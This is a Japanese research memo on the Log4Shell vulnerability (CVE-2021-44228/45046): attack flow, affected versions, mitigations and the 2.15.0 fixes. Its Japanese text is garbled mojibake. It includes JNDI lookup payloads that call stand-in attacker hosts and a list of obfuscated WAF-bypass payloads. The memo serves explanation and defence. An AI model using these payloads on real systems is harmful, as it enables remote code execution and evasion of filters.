å°ã調ã¹ãã®ã§ã¡ã¢
æ¦è¦
å¤é¨ããã®å ¥åãlog4jã§ãã®ã¾ã¾ãã°åºåãããã¨ããã¨ãä»»æã®ã³ã¼ããå®è¡ã§ããèå¼±æ§
CVE-2021-45046ã¨v2.16.0ã«ã¤ãã¦
v2.15.0ã§ä¿®æ£ããããã«è¦ããããMessagePatternConverter以å¤ã®æ»æçµè·¯ãè¦ã¤ãã£ãããã®ãããv2.16.0ã¸ã®ã¢ãããã¼ããæ¨å¥¨ããããformatMsgNoLookupsã%m{nolookups}ã§ã¯é²ããªãçµè·¯ãªã®ã§ããããã«ãã対çãä¸ååã§ããã
v2.16.0ã§ã¯JNDIã®æ©è½ãã®ãã®ãããã©ã«ãã§ãªãã«ãã¦ãã¡ãã»ã¼ã¸å ã®Lookupæ©è½ã¯åé¤ããã¦ããã
ãã ããv2.15.0ã®ããã©ã«ãè¨å®ã§JNDIã¸ã®ã¢ã¯ã»ã¹ã¯localhostçã®èªèº«ã¸ã®ã¢ã¯ã»ã¹ã«éããã¦ããã®ã§ãå±éºåº¦ã¯ä½ã
localhostã®bypassæ段ãè¦ã¤ãã£ãããã ããã®ãããLookupå¯è½ãªçµè·¯ã§æ»æãããã¨JNDI Injectionã§å¤é¨ã®LDAPçã«æ¥ç¶ãããã¨ãã§ãã模æ§ã
æ»æçµè·¯ã«ã¤ãã¦ã¯ã以ä¸ã®é¨åãåç §ã
Log4j â Apache Log4j Security Vulnerabilities
It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.
ã
The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.
æ»ææ¹æ³
- æ»æè ãæ»æ対象ã®ãµã¼ãã¹ã®ãã°ãåºåãã¦ãããªã¨ããã«${jndi:ldap://attacker.com/a}ã¿ãããªå ¥åãå ¥ãã
- æ»æ対象ã®ãµã¼ãã¯ãã®å ¥åããã°ã«åºåãããã¨ãããlog4jã®æ©è½ã§${jndi:ldap://attacker.com/a}ãå¤æ°å±éãããã¨ãã¦ãattacker.comã«LDAPã§ã¢ã¯ã»ã¹ããã
- attacker.comã¯æ»æè
ã®ç®¡çãããã¹ãã§ããã®LDAPãµã¼ãã¯Javaã®Referenceãªãã¸ã§ã¯ã(ãã·ãªã¢ã©ã¤ãºãããã®)ãè¿ããReferenceãªãã¸ã§ã¯ãã¯
http://attacker2.com/B.class
ã®ãããªåç §å ãå«ã - æ»æ対象ã®ãµã¼ãã¯åç §å ã®B.classããã¼ããã¦ãªãã¸ã§ã¯ããçæãããã¨ããããã®æãBã¯ã©ã¹ã®staticãããã¯ãå®è¡ãããã
ä½ãå½±é¿ããã
以ä¸ã®æ¡ä»¶ã«å½ã¦ã¯ã¾ãã½ããã¦ã§ã¢(Webã¢ããªãæ³å®ããã¡ã ããJava製ã§log4jãå©ç¨ãã¦å¤é¨å ¥åãåãåã£ã¦ãã°ã«åãã¦ãããªã該å½ãã)
- log4jã® 2.0-beta9ã2.14.1ãå©ç¨(v2.15.0ãæ»æå¯è½ãªã±ã¼ã¹ããã)
Java 6u211ã7u201ã8u191ã11.0.1æªæºãå©ç¨- å¤é¨å ¥åããã®ã¾ã¾ãã°åºåãã¦ãã
(追è¨:2021/12/15 7:33) v2.15.0ã«ããã¦ããããã©ã«ãã®è¨å®ã§JNDIãå®è¡ã§ããçµè·¯ãè¦ã¤ãã£ãã®ã§ãv2.15.0ãããç¨åº¦å½±é¿ãããããã ããv2.15.0ããã©ã«ãã§localhostã«ããã¢ã¯ã»ã¹ã§ããªãã®ã§ãå±éºæ§ã¯ä½ã
å½±é¿ã®ãããµã¼ãã¹ãã¢ããª
以ä¸ã§ãªã¹ãã¢ãããã¦ããã£ã½ãã
GitHub - YfryTchsGD/Log4jAttackSurface
(追è¨: 2021/12/12 18:55)
ããã¾ã§JndiLookupã®å®è¡ã¾ã§ã®ç¢ºèªã§ãRCEã¾ã§å®è¡ã§ãããã¯å¥ãã®ã ã¨æãããã
${jndi:ldap://xxx.dnslog.cn/a}ãå ¥åãã¦ã対象ãµã¼ãã«ldap://xxx.dnslog.cn/aã«ã¢ã¯ã»ã¹ããã¦ãxxx.dnslog.cnã®åå解決ãããã¦ãxxx.dnslog.cnã«åå解決ããã£ããã¨ãè¨é²ããã®ã ã¨ã
1.xã¯å½±é¿ãããã®ã
ITMediaã®è¨äºã§1.xãã¨æ¸ããã¦ãã£ãã
ãã®èå¼±æ§ã®å½±é¿ãããã®ã¯ãLog4jã®ãã¼ã¸ã§ã³2.0ãã2.14.1ã¾ã§ã¨å½åã¿ããã¦ããããLog4jã®GitHubä¸ã®è°è«ã§ã¯ã1.xç³»ãåæ§ã®èå¼±æ§ãæ±ãã¦ãããã¨ãå ±åããã¦ããã対çã«ã¯ãä¿®æ£æ¸ã¿ã®ãã¼ã¸ã§ã³ã§ãã2.15.0-rc2ã¸ã®ã¢ãããã¼ããæ¨å¥¨ããã¦ããã
ãããã1.xã«ã¯JndiLookupã®æ©è½ããªãã®ã§ãä»åã®èå¼±æ§ã¯åå¨ããªãã¨èããã
(追è¨) JMSAppenderã®è©±ã£ã½ã
Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub
If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
JMSAppenderãå©ç¨ãã¦ãã¦ãTopicBindingName/TopicConnectionFactoryBindingNameã«æ»æè ã®LDAPã®URLãè¨å®ã§ããã°åæ§ã®ãã¨ãå¯è½ãªã®ã ããããã«ã¯log4jã®è¨å®ãã¡ã¤ã«ãæ»æè ãä¿®æ£å¯è½ã§ããã¨ããåæãå¿ è¦ã
ãããã«ãããæã£ã¦1.xãåæ§ã®èå¼±æ§ãããã¨ããã®ã¯éãã®ã§ã¯ã¨æãã
åå
log4jã«JndiLookupã®æ©è½ãããããã©ã«ãã§æå¹ã«ãªã£ã¦ãããã¨ã¨ãJavaã«JDNI Injectionã®èå¼±æ§ããã£ããã¨ã®åããæã
JndiLookup
log4j2ããLookupã¨ããæ©è½ã追å ãããã
ããã¯å¤æ°ãå±éããæ©è½ã§ãä¾ãã°${env:USER}ã¨ããæååã¯USERç°å¢å¤æ°ã®å¤ã«å±éãããã
JndiLookupã¯Lookupã®1ã¤ã§ã${jndi:xxxx}ã¨ããå¤æ°ãJNDIã§xxxxãlookupããå¤ã«å±éãã.ãã®æã®JNDI Injectionãå©ç¨ããã¦ãä»»æã®ã³ã¼ããå®è¡ãããã
Lookupã®åãã¯ãMessagePatternConverterâStrSubstitutorâInterpolator,å種Lookupã¨ããæµãã§ã³ã¼ããèªãã¨ãªãã¨ãªãç解ã§ããã
JNDI Injection
詳ããã¯ãã¡ããåç §ã
JNDIã¯Javaã®åå解決ããã£ã¬ã¯ããªãµã¼ãã¹æ©è½ã§ãããLDAPãRMIãCORBAãªã©ã«çµ±ä¸çãªã¤ã³ã¿ã¼ãã§ã¼ã¹ã§ã¢ã¯ã»ã¹ãããã¨ãã§ããã
ctx.bind(name, value); // ctxã¯javax.naming.Context
ã§ååã«å¯¾ããå¤ãä¿åã§ã
Object value = ctx.lookup(name);
ã§ãååãæå®ãã¦ãå¤ãåå¾ãããã¨ãã§ãããå¤ã¯Javaã®ãªãã¸ã§ã¯ããæå®ã§ããLDAPã«ãã·ãªã¢ã©ã¤ãºããå½¢ã§ä¿åãããã
ããã«ãJNDIã«ã¯Referenceã¨ããã¯ã©ã¹ããããä¿åãããªãã¸ã§ã¯ãã®ãã¡ã¯ããªã¯ã©ã¹ããã£ã¬ã¯ããªãµã¼ãã¹ã¨ã¯å¥ã®å ´æã«ä¿åãã¦åç
§ããä»çµã¿ãããããã®åç
§å
ã«http://attacker2.com/B.class
ãªã©ãæå®ããã¨ãlookupããæã«B.classããã¼ããããã¨ãã¦ã¯ã©ã¹Bã®staticãããã¯ãå®è¡ãããã¨ãããã®ã§ããã
ãã®åé¡ã«é¢ãã¦ã¯ã6u211ã7u201ã8u191ã11.0.1 ã§ä¿®æ£ãå ¥ã£ããããæ°ããJavaã®ãã¼ã¸ã§ã³ã§ã¯æ»æã§ããªãã ä»åæ»æãããã®ã¯ããããæªæºã®ãã¼ã¸ã§ã³ãå©ç¨ãã¦ããã®ã ã¨æãããã
ãªã³ã¯å ã«ã¯RMIãCORBAã§ã®æ»ææ¹æ³ãç´¹ä»ããã¦ããã
対ç
log4jãä¿®æ£çã®v2.15.0v2.16.0ã«ã¢ãããã¼ããã
ä¸çªæ£æ»æ³ã
(追è¨:2021/12/15 7:33) v2.15.0ã§ãJNDIãå®è¡å¯è½ãªçµè·¯ããããããv2.16.0ã«ã¢ãããã¼ãããæ¹ãè¯ã
formatMsgNoLookups=trueã«ãã
JVMèµ·åæã«-Dlog4j2.formatMsgNoLookups=trueã«ãããç°å¢å¤æ°LOG4J_FORMAT_MSG_NO_LOOKUPSãtrueã«ãã¦JVMãèµ·åããã
v2.10.0以ä¸ã®å ´åã®ã¿æå¹ãLookupã®æ©è½ããªãã«ãªãã
(追è¨:2021/12/15 7:33) CVE-2021-45046ã«ããã¦ãMessagePatternConverter以å¤ã®å¥ã®çµè·¯ã®æ»ææ¹æ³ãè¦ã¤ãã£ãã®ã§ããã®æ¹æ³ã¯æ¨å¥¨ã§ããªã
%mã%m{nolookups}ã«å¤æ´ãã
log4jã®è¨å®ãã¡ã¤ã«ã§ã%mã¨æ¸ãã¦ããé¨åã%m{nolookups}ã«å¤æ´ããã
Pattern(log4jã§ã©ã®ãããªãã©ã¼ãããã§ãã°ãåºåããããæå®ããé¨å)ã®%m(ãã°åºåã¡ã½ããã«æ¸¡ããæååå¼æ°ã®å¤)ã§Lookupãå®è¡ããªãããã«ãã¦ããã
v2.7.0以ä¸ã®å ´åã®ã¿æå¹ã
(追è¨:2021/12/15 7:33) CVE-2021-45046ã«ããã¦ãMessagePatternConverter以å¤ã®å¥ã®çµè·¯ã®æ»ææ¹æ³ãè¦ã¤ãã£ãã®ã§ããã®æ¹æ³ã¯æ¨å¥¨ã§ããªã
Javaãã¢ãããã¼ããã
6u211ã7u201ã8u191ã11.0.1以ä¸ã«ããã¨ãä»åã®æ»æã«å©ç¨ãããJNDI Injectionãã§ããªããªãã
ãã ãã8u191以ä¸ã§ãæ»æå¯è½ãªæ¹æ³ãããããã ã
ãã ããªã³ã¯å ã®è¨äºã¯Tomcatã対象ã§ãããTomcatã§æ»æå¯è½ãªé¨å(BeanFactoryã¨ELProcessor)ãå©ç¨ãã¦æ»æãã¦ãããä»åã®ãããªæ»æè ãä½æããã¯ã©ã¹ãã¡ã¤ã«ãæå®ããæ¹æ³ã¨ã¯ç°ãªããæ»æ対象ã«ELProcessorã®ãããªevalã®æ©è½ãããã¯ã©ã¹ããªãã¨ãã¾ããããªãã¨æãããã
(追è¨:2021/12/16 07:16) Tomcat以å¤ã«ãæ»æå¯è½ãªæ¹æ³ãè¦ã¤ãã£ã¦ãããããªã®ã§ããããæ¨å¥¨ã§ããªã
log4jã®jarãã¡ã¤ã«ããJndiLookup.classãåé¤ãã
JndiLookupã®æ©è½ãå¼·å¶åé¤ã§ããã®ã§æå¹ã§ããããä¾å¤ãçºçããã¨æãã®ã§ããã®æã©ããªããã¯æ¤è¨¼ããå¿ è¦ãããã
WAFãå©ç¨ãã
WAFã§${jndi:xxx}ã®ãããªå ¥åããããã¯ããã¨ããæ¹æ³ã¯ããã
AWSã§ã¯WAFã®ã«ã¼ã«ã追å ãããããã§ããã
ãã ãã以ä¸ã®ãããªBypassæ¹æ³ã¯ãã模æ§ãAWSã§å¯¾å¿ãã¦ãããã©ããã¯ä¸æã
GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j è¿ç¨ä»£ç æ§è¡
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
lower:ã¯æååãå°æåã«å¤æããLookupããã¨ã¯ãJavaã®ãã¼ã¸ã§ã³ãå¤ãã¨LDAPã§ã¯ãªãRMIã®ãµã¼ããå©ç¨ãã¦æ»æå¯è½ã¨ãããã¨ããªã
FireWallã§LDAPçã®ã¢ã¯ã»ã¹ãé²ã
æ ¹æ¬çãªè§£æ±ºçã§ã¯ãªãã®ã§ããã¾ãæ¨å¥¨ããªãã
ã¾ããå¤é¨å ¥åããLDAPãµã¼ãã®ãã¼ãã¯æå®å¯è½ãªã®ã§ããã¼ãã§ã¯ãªãã¢ããªã±ã¼ã·ã§ã³ãããã³ã«ãè¦ã¦ãããã¯ããå¿ è¦ãããã
log4j 2.15.0ã«ãããä¿®æ£
以ä¸ã®2ã¤ãã¡ã¤ã³ããªã
- LOG4J2-3198: Log4j2 no longer formats lookups in messages by default by carterkozak · Pull Request #607 · apache/logging-log4j2 · GitHub
- Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub
ãããªæãã®ä¿®æ£ãå ¥ã£ã¦ããã
- ããã©ã«ãã§ã¡ãã»ã¼ã¸å
ã®Lookupãããªãããã«ãã
- %m{lookup}ã§lookupããããã«ãªã
- formatMsgNoLookupsã®æå®ãã§ããªããªã£ã
- JndiLookupãå¶é
- ãããã³ã«ãå¶é
- ããã©ã«ãã§java/ldap/ldapsã«å¶é
- ãã®ä»ã®ãããã³ã«ã使ãããå ´åã¯log4j2.allowedJndiProtocolsã«æå®ãã
- LDAPã«ã¢ã¯ã»ã¹ããå ´åã®ãã¹ãã®å¶é
- ããã©ã«ãã§ãã¼ã«ã«ã®ãã¹ãåã¨IPã¢ãã¬ã¹(ex. localhost, 127.0.0.1)ã«å¶é
- ãã®ä»ã®ãã¹ãã«ã¢ã¯ã»ã¹ããå ´åã¯log4j2.allowedLdapHostsã«æå®ãã
- LDAPããJavaã®ãªãã¸ã§ã¯ããåå¾ããå ´åã®ã¯ã©ã¹ã®å¶é
- ããã©ã«ãã§Javaã®ããªããã£ããªã¯ã©ã¹(ex. Integer, Double, String)ã«å¶é
- ãã®ä»ã®ã¯ã©ã¹ã®ãªãã¸ã§ã¯ããåå¾ããå ´åã¯log4j2.allowedLdapClassesã«æå®ãã
- LDAPããReferenceã¯åå¾ããªã
- ãããã³ã«ãå¶é
åè
CVE-2021-44228ã«ã¤ãã¦
- Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec
- GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j è¿ç¨ä»£ç æ§è¡
- BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 0023 UTC · GitHub
- Remote code injection in Log4j · CVE-2021-44228 · GitHub Advisory Database · GitHub
- Apache Log4jã®ä»»æã®ã³ã¼ãå®è¡ã®èå¼±æ§ï¼CVE-2021-44228ï¼ã«é¢ãã注æåèµ·
- Log4jã®èå¼±æ§å¯¾çã¨ãã¦AWS WAFã®ããã¼ã¸ãã«ã¼ã«ã«ãLog4JRCEãã追å ããã¾ãã | DevelopersIO
- Log4j â Apache Log4j Security Vulnerabilities